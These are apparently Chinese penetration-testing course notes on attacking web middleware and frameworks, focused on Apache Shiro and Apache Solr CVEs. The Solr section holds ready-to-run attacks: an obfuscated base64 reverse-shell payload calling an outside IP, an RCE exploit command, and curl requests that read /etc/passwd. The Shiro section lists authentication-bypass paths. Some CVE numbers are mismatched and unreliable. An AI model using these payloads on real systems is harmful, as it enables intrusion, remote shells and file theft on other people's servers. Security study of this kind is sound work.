总览

知识点:

中间件及框架列表:
IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery等
1、开发框架-PHP-Laravel-Thinkphp
2、开发框架-Javaweb-St2-Spring
3、开发框架-Python-django-Flask
4、开发框架-Javascript-Node.js-JQuery
5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架:
PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等
JAVA:Spring MyBatis Hibernate Struts2 Springboot等
Python:Django Flask Bottle Turbobars Tornado Web2py等
Javascript:Vue.js Node.js Bootstrap JQuery Angular等

章节内容:

常见中间件的安全测试:
1、配置不当-解析&弱口令
2、安全机制-特定安全漏洞
3、安全机制-弱口令爆破攻击
4、安全应用-框架特定安全漏洞

前置知识:

-中间件安全测试流程:
1、判断中间件信息-名称&版本&三方
2、判断中间件问题-配置不当&公开漏洞
3、判断中间件利用-弱口令&EXP&框架漏洞

-应用服务安全测试流程:见图
1、判断服务开放情况-端口扫描&组合应用等
2、判断服务类型归属-数据库&文件传输&通讯等
3、判断服务利用方式-特定漏洞&未授权&弱口令等

-开发框架组件安全测试流程:
1、判断常见语言开发框架类型
2、判断开发框架存在的CVE问题
3、判断开发框架CVE漏洞利用方式

实例

Apache Shiro

Apache Shiro是一个强大且易用的Java安全框架,用于身份验证、授权、密码和会话管理

验证绕过,未授权访问。

判断:大多会发生在登录处,返回包里包含remeberMe=deleteMe字段
漏洞:https://avd.aliyun.com/search?q=shiro
Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483
Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807
Apache Shiro < 1.4.2 cookie oracle padding漏洞 【CVE-2019-12442
Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957
Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989
Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933
Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523

1、CVE_2016_4437 Shiro-550+Shiro-721

2、CVE-2020-11989
Poc:/admin/%20
影响范围:Apache Shiro < 1.7.1
https://github.com/jweny/shiro-cve-2020-17523

3、CVE-2020-1957
Poc:/xxx/..;/admin/
影响范围:Apache Shiro < 1.5.3

Apache Solr

Apache Solr是一个开源的搜索服务,使用Java语言开发,主要基于HTTP和Apache Lucene实现的。Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。

漏洞:https://avd.aliyun.com/search?q=solr
远程命令执行RCE(CVE-2017-12629
远程命令执行XXE(CVE-2017-12629
任意文件读取AND命令执行(CVE-2019-17558
远程命令执行漏洞(CVE-2019-0192)
远程命令执行漏洞(CVE-2019-0193)
未授权上传漏洞(CVE-2020-13957)
Apache Solr SSRF (CVE-2021-27905)

1、远程命令执行RCE(CVE-2017-12629
Apache solr<7.1.0版本

2、任意文件读取AND命令执行(CVE-2019-17558
Apache Solr 5.0.0版本至8.3.1
https://github.com/jas502n/solr_rce
D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id

3、远程命令执行漏洞(CVE-2019-0193)
Apache Solr < 8.2.0版本
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>

4、Apache Solr 文件读取&SSRF (CVE-2021-27905)
全版本官方拒绝修复漏洞
1、获取数据库名
http://47.94.236.117:8983/solr/admin/cores?indexInfo=false&wt=json
2、访问触发
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
$'http://47.94.236.117:8983/solr/demo/config'
3、任意文件读取
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'